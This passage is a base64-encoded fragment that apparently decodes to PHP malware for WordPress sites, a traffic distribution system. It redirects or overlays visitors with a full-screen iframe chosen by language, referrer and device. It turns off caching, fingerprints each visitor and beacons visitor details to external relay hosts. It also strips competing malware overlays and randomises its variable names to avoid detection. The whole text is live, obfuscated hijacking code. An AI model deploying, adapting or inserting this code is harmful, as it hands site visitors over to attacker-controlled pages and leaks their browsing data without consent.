nWydtb2RlJ10gOiAnaWZyYW1lJzsKICAgICAgICAkX3RhcmdldF91cmwgPSAnJzsKCiAgICAgICAgLy8gR2VvLXRhcmdldGluZwogICAgICAgICRfbGFuZyA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSA/IHN0cnRvbG93ZXIoc3Vic3RyKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddLCAwLCAyKSkgOiAnJzsKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1snZ2VvX3J1bGVzJ10pICYmIGlzX2FycmF5KCRfdGRzX2NmZ1snZ2VvX3J1bGVzJ10pKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfdGRzX2NmZ1snZ2VvX3J1bGVzJ10gYXMgJF9ncikgewogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfZ3JbJ2NvdW50cmllcyddKSAmJiBpc19hcnJheSgkX2dyWydjb3VudHJpZXMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkX2NvdW50cmllc19sb3dlciA9IGFycmF5X21hcCgnc3RydG9sb3dlcicsICRfZ3JbJ2NvdW50cmllcyddKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJF9sYW5nLCAkX2NvdW50cmllc19sb3dlcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF90YXJnZXRfdXJsID0gaXNzZXQoJF9nclsndXJsJ10pID8gJF9nclsndXJsJ10gOiAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBSZWZlcnJlci1iYXNlZCBydWxlcwogICAgICAgIGlmIChlbXB0eSgkX3RhcmdldF91cmwpICYmICFlbXB0eSgkX3Rkc19jZmdbJ3JlZmVycmVyX3J1bGVzJ10pICYmIGlzX2FycmF5KCRfdGRzX2NmZ1sncmVmZXJyZXJfcnVsZXMnXSkpIHsKICAgICAgICAgICAgJF9yZWYgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pIDogJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfdGRzX2NmZ1sncmVmZXJyZXJfcnVsZXMnXSBhcyAkX3JyKSB7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfcnJbJ3NvdXJjZSddKSAmJiBzdHJwb3MoJF9yZWYsIHN0cnRvbG93ZXIoJF9yclsnc291cmNlJ10pKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAkX3RhcmdldF91cmwgPSBpc3NldCgkX3JyWyd1cmwnXSkgPyAkX3JyWyd1cmwnXSA6ICcnOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBEZXZpY2UgdGFyZ2V0aW5nCiAgICAgICAgaWYgKGVtcHR5KCRfdGFyZ2V0X3VybCkpIHsKICAgICAgICAgICAgJF9pc19tb2JpbGUgPSAoZnVuY3Rpb25fZXhpc3RzKCd3cF9pc19tb2JpbGUnKSAmJiB3cF9pc19tb2JpbGUoKSk7CiAgICAgICAgICAgICRfdWFfbG93ZXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIDogJyc7CiAgICAgICAgICAgICRfaXNfdGFibGV0ID0gKHN0cnBvcygkX3VhX2xvd2VyLCAnaXBhZCcpICE9PSBmYWxzZSB8fCAoc3RycG9zKCRfdWFfbG93ZXIsICdhbmRyb2lkJykgIT09IGZhbHNlICYmIHN0cnBvcygkX3VhX2xvd2VyLCAnbW9iaWxlJykgPT09IGZhbHNlKSk7CgogICAgICAgICAgICBpZiAoJF9pc190YWJsZXQgJiYgIWVtcHR5KCRfdGRzX2NmZ1sndXJsX3RhYmxldCddKSkgewogICAgICAgICAgICAgICAgJF90YXJnZXRfdXJsID0gJF90ZHNfY2ZnWyd1cmxfdGFibGV0J107CiAgICAgICAgICAgIH0gZWxzZWlmICgkX2lzX21vYmlsZSAmJiAhZW1wdHkoJF90ZHNfY2ZnWyd1cmxfbW9iaWxlJ10pKSB7CiAgICAgICAgICAgICAgICAkX3RhcmdldF91cmwgPSAkX3Rkc19jZmdbJ3VybF9tb2JpbGUnXTsKICAgICAgICAgICAgfSBlbHNlaWYgKCEkX2lzX21vYmlsZSAmJiAhZW1wdHkoJF90ZHNfY2ZnWyd1cmxfZGVza3RvcCddKSkgewogICAgICAgICAgICAgICAgJF90YXJnZXRfdXJsID0gJF90ZHNfY2ZnWyd1cmxfZGVza3RvcCddOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBVUkwgcm90YXRpb24gKHdlaWdodGVkIHJvdW5kLXJvYmluKQogICAgICAgIGlmIChlbXB0eSgkX3RhcmdldF91cmwpICYmICFlbXB0eSgkX3Rkc19jZmdbJ3VybHMnXSkgJiYgaXNfYXJyYXkoJF90ZHNfY2ZnWyd1cmxzJ10pKSB7CiAgICAgICAgICAgICRfdXJsc19saXN0ID0gJF90ZHNfY2ZnWyd1cmxzJ107CiAgICAgICAgICAgICRfdG90YWxfd2VpZ2h0ID0gMDsKICAgICAgICAgICAgZm9yZWFjaCAoJF91cmxzX2xpc3QgYXMgJF91KSB7CiAgICAgICAgICAgICAgICAkX3RvdGFsX3dlaWdodCArPSBpc3NldCgkX3VbJ3dlaWdodCddKSA/IChpbnQpJF91Wyd3ZWlnaHQnXSA6IDE7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfdG90YWxfd2VpZ2h0ID4gMCkgewogICAgICAgICAgICAgICAgJF9ycl9pZHggPSAoaW50KWdldF90cmFuc2llbnQoJ190ZHNfcnInKTsKICAgICAgICAgICAgICAgICRfcGljayA9ICRfcnJfaWR4ICUgJF90b3RhbF93ZWlnaHQ7CiAgICAgICAgICAgICAgICAkX2N1bSA9IDA7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX3VybHNfbGlzdCBhcyAkX3UpIHsKICAgICAgICAgICAgICAgICAgICAkX2N1bSArPSBpc3NldCgkX3VbJ3dlaWdodCddKSA/IChpbnQpJF91Wyd3ZWlnaHQnXSA6IDE7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfcGljayA8ICRfY3VtKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfdGFyZ2V0X3VybCA9IGlzc2V0KCRfdVsndXJsJ10pID8gJF91Wyd1cmwnXSA6ICcnOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfdGRzX3JyJywgJF9ycl9pZHggKyAxLCA4NjQwMCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIFNpbmdsZSBVUkwgZmFsbGJhY2sKICAgICAgICBpZiAoZW1wdHkoJF90YXJnZXRfdXJsKSAmJiAhZW1wdHkoJF90ZHNfY2ZnWyd1cmwnXSkpIHsKICAgICAgICAgICAgJF90YXJnZXRfdXJsID0gJF90ZHNfY2ZnWyd1cmwnXTsKICAgICAgICB9CiAgICAgICAgaWYgKGVtcHR5KCRfdGFyZ2V0X3VybCkpIHJldHVybjsKCiAgICAgICAgLy8gQXV0by1hcHBlbmQgP3NyYz0gZm9yIGlmcmFtZSBtb2RlIChjYXB0Y2hhIG5lZWRzIHRoZSBwYXJlbnQgZG9tYWluKQogICAgICAgIGlmICgkX21vZGUgPT09ICdpZnJhbWUnKSB7CiAgICAgICAgICAgICRfc3JjX2RvbWFpbiA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJzsKICAgICAgICAgICAgaWYgKCRfc3JjX2RvbWFpbiAmJiBzdHJwb3MoJF90YXJnZXRfdXJsLCAnc3JjPScpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJF90YXJnZXRfdXJsIC49IChzdHJwb3MoJF90YXJnZXRfdXJsLCAnPycpICE9PSBmYWxzZSA/ICcmJyA6ICc/JykgLiAnc3JjPScgLiB1cmxlbmNvZGUoJF9zcmNfZG9tYWluKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gUGVyLUlQIFVSTCBmcmVxdWVuY3kgY2FwCiAgICAgICAgJF9tYXhfc2FtZSA9IGlzc2V0KCRfdGRzX2NmZ1snbWF4X3NhbWVfdXJsX3Blcl9pcCddKSA/IChpbnQpJF90ZHNfY2ZnWydtYXhfc2FtZV91cmxfcGVyX2lwJ10gOiAwOwogICAgICAgIGlmICgkX21heF9zYW1lID4gMCkgewogICAgICAgICAgICAkX3VmX2tleSA9ICdfdGRzX3VmXycgLiBzdWJzdHIobWQ1KCRfdmlzaXRvcl9pcCAuICRfdGFyZ2V0X3VybCksIDAsIDEwKTsKICAgICAgICAgICAgJF91Zl9jbnQgPSBpc3NldCgkX0NPT0tJRVskX3VmX2tleV0pID8gKGludCkkX0NPT0tJRVskX3VmX2tleV0gOiAwOwogICAgICAgICAgICBpZiAoJF91Zl9jbnQgPj0gJF9tYXhfc2FtZSkgcmV0dXJuOwogICAgICAgICAgICBAc2V0Y29va2llKCRfdWZfa2V5LCAkX3VmX2NudCArIDEsIHRpbWUoKSArIDg2NDAwLCAnLycpOwogICAgICAgIH0KCiAgICAgICAgLy8gQ3VzaGlvbiBwYWdlIHdyYXBwZXIKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1snY3VzaGlvbl9lbmFibGVkJ10pICYmICFlbXB0eSgkX3Rkc19jZmdbJ2N1c2hpb25fdXJscyddKSAmJiBpc19hcnJheSgkX3Rkc19jZmdbJ2N1c2hpb25fdXJscyddKSkgewogICAgICAgICAgICAkX2N1c2hpb25zID0gJF90ZHNfY2ZnWydjdXNoaW9uX3VybHMnXTsKICAgICAgICAgICAgJF9jaSA9IChpbnQpZ2V0X3RyYW5zaWVudCgnX3Rkc19jaScpICUgY291bnQoJF9jdXNoaW9ucyk7CiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJ190ZHNfY2knLCAkX2NpICsgMSwgODY0MDApOwogICAgICAgICAgICAkX3RhcmdldF91cmwgPSBzdHJfcmVwbGFjZSgne3VybH0nLCB1cmxlbmNvZGUoJF90YXJnZXRfdXJsKSwgJF9jdXNoaW9uc1skX2NpXSk7CiAgICAgICAgfQoKICAgICAgICAvLyDilIDilIAgQ2FjaGUgYnlwYXNzIChyZWluZm9yY2VkIGluIHRlbXBsYXRlX3JlZGlyZWN0IGZvciBsYXRlLWluaXQgcGx1Z2lucykg4pSA4pSACiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19jZmdbJ2NhY2hlX2J5cGFzcyddKSkgewogICAgICAgICAgICBpZiAoIWRlZmluZWQoJ0RPTk9UQ0FDSEVQQUdFJykpICAgICAgIGRlZmluZSgnRE9OT1RDQUNIRVBBR0UnLCB0cnVlKTsKICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCdET05PVENBQ0hFT0JKRUNUJykpICAgICBkZWZpbmUoJ0RPTk9UQ0FDSEVPQkpFQ1QnLCB0cnVlKTsKICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCdET05PVENBQ0hFREInKSkgICAgICAgICBkZWZpbmUoJ0RPTk9UQ0FDSEVEQicsIHRydWUpOwogICAgICAgICAgICBpZiAoIWRlZmluZWQoJ0RPTk9UTUlOSUZZJykpICAgICAgICAgIGRlZmluZSgnRE9OT1RNSU5JRlknLCB0cnVlKTsKICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCdMU0NBQ0hFX05PX0NBQ0hFJykpICAgICBkZWZpbmUoJ0xTQ0FDSEVfTk9fQ0FDSEUnLCB0cnVlKTsKICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCdET05PVFJPQ0tFVE9QVElNSVpFJykpICBkZWZpbmUoJ0RPTk9UUk9DS0VUT1BUSU1JWkUnLCB0cnVlKTsKICAgICAgICAgICAgaWYgKCFoZWFkZXJzX3NlbnQoKSkgewogICAgICAgICAgICAgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgbWF4LWFnZT0wLCBzLW1heGFnZT0wLCBwcm94eS1yZXZhbGlkYXRlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1ByYWdtYTogbm8tY2FjaGUnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignRXhwaXJlczogVGh1LCAwMSBKYW4gMTk3MCAwMDowMDowMCBHTVQnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignVmFyeTogKicpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdYLUFjY2VsLUV4cGlyZXM6IDAnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignU3Vycm9nYXRlLUNvbnRyb2w6IG5vLXN0b3JlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1gtTGl0ZVNwZWVkLUNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NETi1DYWNoZS1Db250cm9sOiBuby1zdG9yZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdDbG91ZGZsYXJlLUNETi1DYWNoZS1Db250cm9sOiBuby1zdG9yZScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ25vY2FjaGVfaGVhZGVycycpKSBub2NhY2hlX2hlYWRlcnMoKTsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZG9fYWN0aW9uJykpIHsKICAgICAgICAgICAgICAgIEBkb19hY3Rpb24oJ2xpdGVzcGVlZF9jb250cm9sX3NldF9ub2NhY2hlJywgJ3RkcyB0ZW1wbGF0ZV9yZWRpcmVjdCcpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyDilIDilIAgTG9nZ2luZzogaW5jcmVtZW50IHN0YXRzIOKUgOKUgAogICAgICAgICRfc3RhdHNfa2V5ID0gJ190ZHNfc3RhdHMnOwogICAgICAgICRfc3RhdHMgPSBnZXRfb3B0aW9uKCRfc3RhdHNfa2V5LCAnJyk7CiAgICAgICAgJF9zdGF0cyA9IGlzX3N0cmluZygkX3N0YXRzKSA/IEBqc29uX2RlY29kZSgkX3N0YXRzLCB0cnVlKSA6IGFycmF5KCk7CiAgICAgICAgaWYgKCFpc19hcnJheSgkX3N0YXRzKSkgJF9zdGF0cyA9IGFycmF5KCk7CiAgICAgICAgJF90b2RheSA9IGRhdGUoJ1ktbS1kJyk7CiAgICAgICAgaWYgKCFpc3NldCgkX3N0YXRzWyRfdG9kYXldKSkgJF9zdGF0c1skX3RvZGF5XSA9IGFycmF5KCdpbXByZXNzaW9ucycgPT4gMCwgJ3JlZGlyZWN0cycgPT4gMCk7CiAgICAgICAgJF9zdGF0c1skX3RvZGF5XVsnaW1wcmVzc2lvbnMnXSsrOwogICAgICAgIGlmICgkX21vZGUgPT09ICdyZWRpcmVjdCcpICRfc3RhdHNbJF90b2RheV1bJ3JlZGlyZWN0cyddKys7CiAgICAgICAgLy8gS2VlcCBvbmx5IGxhc3QgMzAgZGF5cwogICAgICAgICRfc3RhdHMgPSBhcnJheV9zbGljZSgkX3N0YXRzLCAtMzAsIDMwLCB0cnVlKTsKICAgICAgICB1cGRhdGVfb3B0aW9uKCRfc3RhdHNfa2V5LCBqc29uX2VuY29kZSgkX3N0YXRzKSwgJ25vJyk7CgogICAgICAgIC8vIOKUgOKUgCBVcGRhdGUgZGlzbWlzcyBjb29raWUg4pSA4pSACiAgICAgICAgaWYgKCRfZGlzbWlzcyA9PT0gJ3JlbG9hZHMnKSB7CiAgICAgICAgICAgICRfc2VlbiA9IGlzc2V0KCRfQ09PS0lFWydfdGRzX3MnXSkgPyAoaW50KSRfQ09PS0lFWydfdGRzX3MnXSA6IDA7CiAgICAgICAgICAgIEBzZXRjb29raWUoJ190ZHNfcycsICRfc2VlbiArIDEsIHRpbWUoKSArIDg2NDAwICogNywgJy8nKTsKICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBCZWFjb24gVVJMcyAobXVsdGktZG9tYWluIHJlbGF5IHJvdGF0aW9uKSDilIDilIAKICAgICAgICAkX2JlYWNvbl91cmxzID0gaXNzZXQoJF90ZHNfY2ZnWydiZWFjb25fdXJscyddKSAmJiBpc19hcnJheSgkX3Rkc19jZmdbJ2JlYWNvbl91cmxzJ10pID8gJF90ZHNfY2ZnWydiZWFjb25fdXJscyddIDogYXJyYXkoKTsKICAgICAgICBpZiAoZW1wdHkoJF9iZWFjb25fdXJscykgJiYgIWVtcHR5KCRfdGRzX2NmZ1snYmVhY29uX3VybCddKSkgewogICAgICAgICAgICAkX2JlYWNvbl91cmxzID0gYXJyYXkoJF90ZHNfY2ZnWydiZWFjb25fdXJsJ10pOwogICAgICAgIH0KICAgICAgICAvLyBTZXJ2ZXItc2lkZSBmaW5nZXJwcmludDogVUEgKyBBY2NlcHQtTGFuZ3VhZ2UgKyBJUCBwYXJ0aWFsCiAgICAgICAgJF9mcF9wYXJ0cyA9IGFycmF5KAogICAgICAgICAgICBpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIDogJycsCiAgICAgICAgICAgIGlzc2V0KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSA/ICRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddIDogJycsCiAgICAgICAgICAgIGlzc2V0KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9FTkNPRElORyddKSA/ICRfU0VSVkVSWydIVFRQX0FDQ0VQVF9FTkNPRElORyddIDogJycsCiAgICAgICAgICAgIHN1YnN0cigkX3Zpc2l0b3JfaXAsIDAsIHN0cnJwb3MoJF92aXNpdG9yX2lwLCAnLicpID86IHN0cmxlbigkX3Zpc2l0b3JfaXApKSwKICAgICAgICApOwogICAgICAgICRfZmluZ2VycHJpbnQgPSBzdWJzdHIobWQ1KGltcGxvZGUoJ3wnLCAkX2ZwX3BhcnRzKSksIDAsIDE2KTsKCiAgICAgICAgJF9iZF9wYXJhbXMgPSBhcnJheSgKICAgICAgICAgICAgJ2QnID0+IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJywKICAgICAgICAgICAgJ2lwJyA9PiBtZDUoJF92aXNpdG9yX2lwIC4gJF90ZHNfc2FsdCksCiAgICAgICAgICAgICdyJyA9PiBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gc3Vic3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwgMCwgMjAwKSA6ICcnLAogICAgICAgICAgICAnbScgPT4gJF9tb2RlLAogICAgICAgICAgICAndScgPT4gJF90YXJnZXRfdXJsLAogICAgICAgICAgICAnbCcgPT4gJF9sYW5nLAogICAgICAgICAgICAnZHYnID0+ICRfZGV2X3R5cGUsCiAgICAgICAgICAgICdicicgPT4gJF9icm93c2VyLAogICAgICAgICAgICAnb3MnID0+ICRfb3MsCiAgICAgICAgICAgICdmJyA9PiAkX2ZpbmdlcnByaW50LAogICAgICAgICAgICAndCcgPT4gdGltZSgpLAogICAgICAgICk7CiAgICAgICAgJF9iZWFjb25fcXMgPSBodHRwX2J1aWxkX3F1ZXJ5KCRfYmRfcGFyYW1zKTsKICAgICAgICAkX2JlYWNvbl9kYXRhX2FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJF9iZWFjb25fdXJscyBhcyAkX2J1KSB7CiAgICAgICAgICAgICRfYmVhY29uX2RhdGFfYXJyW10gPSAkX2J1IC4gJz8nIC4gJF9iZWFjb25fcXM7CiAgICAgICAgfQogICAgICAgICRfYmVhY29uX2RhdGEgPSAhZW1wdHkoJF9iZWFjb25fZGF0YV9hcnIpID8gJF9iZWFjb25fZGF0YV9hcnJbMF0gOiAnJzsKCiAgICAgICAgLy8g4pSA4pSAIEV4ZWN1dGUgbW9kZSDilIDilIAKICAgICAgICBpZiAoJF9tb2RlID09PSAncmVkaXJlY3QnKSB7CiAgICAgICAgICAgIGdsb2JhbCAkX3Rkc19iZWFjb25fc2VudDsKICAgICAgICAgICAgJF90ZHNfYmVhY29uX3NlbnQgPSB0cnVlOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRfYmVhY29uX3VybHMpKSB7CiAgICAgICAgICAgICAgICAkX2JkX3BhcmFtc1snbSddID0gJ3JlZGlyZWN0JzsKICAgICAgICAgICAgICAgICRfcXNfciA9IGh0dHBfYnVpbGRfcXVlcnkoJF9iZF9wYXJhbXMpOwogICAgICAgICAgICAgICAgJF9zZW50ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX2JlYWNvbl91cmxzIGFzICRfYnVfcikgewogICAgICAgICAgICAgICAgICAgICRfYmRfZnVsbCA9ICRfYnVfciAuICc/JyAuICRfcXNfcjsKICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfZ2V0JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXNwID0gQHdwX3JlbW90ZV9nZXQoJF9iZF9mdWxsLCBhcnJheSgndGltZW91dCcgPT4gMiwgJ2Jsb2NraW5nJyA9PiB0cnVlKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghaXNfd3BfZXJyb3IoJF9yZXNwKSAmJiB3cF9yZW1vdGVfcmV0cmlldmVfcmVzcG9uc2VfY29kZSgkX3Jlc3ApID09PSAyMDApIHsgJF9zZW50ID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX2NoID0gY3VybF9pbml0KCRfYmRfZnVsbCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRfY2gsIGFycmF5KENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSwgQ1VSTE9QVF9USU1FT1VUX01TID0+IDE1MDAsIENVUkxPUFRfTk9TSUdOQUwgPT4gMSkpOwogICAgICAgICAgICAgICAgICAgICAgICAkX2NyID0gQGN1cmxfZXhlYygkX2NoKTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9jb2RlID0gY3VybF9nZXRpbmZvKCRfY2gsIENVUkxJTkZPX0hUVFBfQ09ERSk7CiAgICAgICAgICAgICAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRfY2gpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9jciAhPT0gZmFsc2UgJiYgJF9jb2RlID09PSAyMDApIHsgJF9zZW50ID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkX2NyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfYmRfZnVsbCwgZmFsc2UsIHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgnaHR0cCcgPT4gYXJyYXkoJ3RpbWVvdXQnID0+IDIpKSkpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9jciAhPT0gZmFsc2UpIHsgJF9zZW50ID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCdfU01fUkVESVJFQ1RfT0snKSkgZGVmaW5lKCdfU01fUkVESVJFQ1RfT0snLCAxKTsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnd3BfcmVkaXJlY3QnKSkgewogICAgICAgICAgICAgICAgd3BfcmVkaXJlY3QoJF90YXJnZXRfdXJsLCAzMDIpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfdGFyZ2V0X3VybCwgdHJ1ZSwgMzAyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBleGl0OwogICAgICAgIH0KCiAgICAgICAgLy8gaWZyYW1lIC8gbmV3dGFiOiBpbmplY3QgdmlhIHdwX2JvZHlfb3BlbiAoZWFybHkpICsgd3BfZm9vdGVyIChmYWxsYmFjaykKICAgICAgICAkX3Rkc19yZW5kZXJfb3ZlcmxheSA9IGZ1bmN0aW9uICgpIHVzZSAoJF90YXJnZXRfdXJsLCAkX21vZGUsICRfdGRzX2NmZywgJF9iZWFjb25fZGF0YSwgJF9iZWFjb25fZGF0YV9hcnIsICRfZGlzbWlzcykgewogICAgICAgICAgICBpZiAoZGVmaW5lZCgnX1REU19JRlJBTUVfRE9ORScpKSByZXR1cm47CiAgICAgICAgICAgIGRlZmluZSgnX1REU19JRlJBTUVfRE9ORScsIDEpOwogICAgICAgICAgICAkX3VybF9lc2MgPSBodG1sc3BlY2lhbGNoYXJzKCRfdGFyZ2V0X3VybCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7CiAgICAgICAgICAgICRfYnRuX3RleHQgPSBpc3NldCgkX3Rkc19jZmdbJ2Rpc21pc3NfYnV0dG9uX3RleHQnXSkgPyBodG1sc3BlY2lhbGNoYXJzKCRfdGRzX2NmZ1snZGlzbWlzc19idXR0b25fdGV4dCddLCBFTlRfUVVPVEVTLCAnVVRGLTgnKSA6ICdDb250aW51ZSB0byBzaXRlJzsKICAgICAgICAgICAgJF9idG5fZGVsYXkgPSBpc3NldCgkX3Rkc19jZmdbJ2Rpc21pc3NfYnV0dG9uX2RlbGF5X3NlYyddKSA/IChpbnQpJF90ZHNfY2ZnWydkaXNtaXNzX2J1dHRvbl9kZWxheV9zZWMnXSA6IDU7CgogICAgICAgICAgICAvLyBQb2x5bW9ycGhpYyB2YXJpYWJsZSBuYW1lcwogICAgICAgICAgICAkX3BmeCA9ICgnMScgPT09ICcxJykgPyAnXycgLiBzdWJzdHIobWQ1KG1pY3JvdGltZSh0cnVlKSAuIG10X3JhbmQoKSksIDAsIDYpIDogJ190ZHMnOwogICAgICAgICAgICAkX2Rpdl9pZCA9ICRfcGZ4IC4gJ19vJzsKICAgICAgICAgICAgJF9mbl9jbG9zZSA9ICRfcGZ4IC4gJ19jJzsKICAgICAgICAgICAgJF9mbl9pbml0ID0gJF9wZnggLiAnX2knOwoKICAgICAgICAgICAgaWYgKCRfbW9kZSA9PT0gJ2lmcmFtZScpIHsKICAgICAgICAgICAgICAgIC8vIFJlbW92ZSBlYXJsaWVyIFREUy9tYWx3YXJlIG92ZXJsYXlzIOKAlCBza2lwIG91ciBvd24gZGl2IChkYXRhLXNtIGF0dHJpYnV0ZSkKICAgICAgICAgICAgICAgIC8vIFJlbW92ZXMgQUxMIGZ1bGxzY3JlZW4gZml4ZWQgb3ZlcmxheXMgKG5vdCBqdXN0IHRob3NlIHdpdGggaWZyYW1lKQogICAgICAgICAgICAgICAgLy8gUnVucyBpbW1lZGlhdGVseSArIHJlcGVhdHMgZXZlcnkgMnMgZm9yIDMwcyB0byBjYXRjaCBKUy1pbmplY3RlZCBvdmVybGF5cwogICAgICAgICAgICAgICAgZWNobyAnPHNjcmlwdD4oZnVuY3Rpb24oKXtmdW5jdGlvbiBjKCl7dmFyIGRzPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoImRpdltzdHlsZSo9XFwicG9zaXRpb246Zml4ZWRcXCJdW3N0eWxlKj1cXCJ6LWluZGV4XFwiXSIpO2Zvcih2YXIgaT0wO2k8ZHMubGVuZ3RoO2krKyl7aWYoZHNbaV0uZ2V0QXR0cmlidXRlKCJkYXRhLXNtIikpY29udGludWU7dmFyIHM9ZHNbaV0uc3R5bGU7aWYocy53aWR0aCYmcy5oZWlnaHQmJihwYXJzZUludChzLnpJbmRleHx8MCk+OTk5OTk5fHxzLnpJbmRleD09PSIyMTQ3NDgzNjQ3IikpZHNbaV0ucmVtb3ZlKCl9fWMoKTt2YXIgbj0wLHQ9c2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXtjKCk7aWYoKytuPj0xNSljbGVhckludGVydmFsKHQpfSwyMDAwKX0pKCk8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBpZD0iJyAuICRfZGl2X2lkIC4gJyIgZGF0YS1zbT0iMSIgc3R5bGU9InBvc2l0aW9uOmZpeGVkO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDB2dztoZWlnaHQ6MTAwdmg7ei1pbmRleDoyMTQ3NDgzNjQ3O2JhY2tncm91bmQ6dHJhbnNwYXJlbnQiPic7CiAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIGRhdGEtc209IjEiIHNyYz0iJyAuICRfdXJsX2VzYyAuICciIHN0eWxlPSJ3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JvcmRlcjpub25lIiBhbGxvd2Z1bGxzY3JlZW4+PC9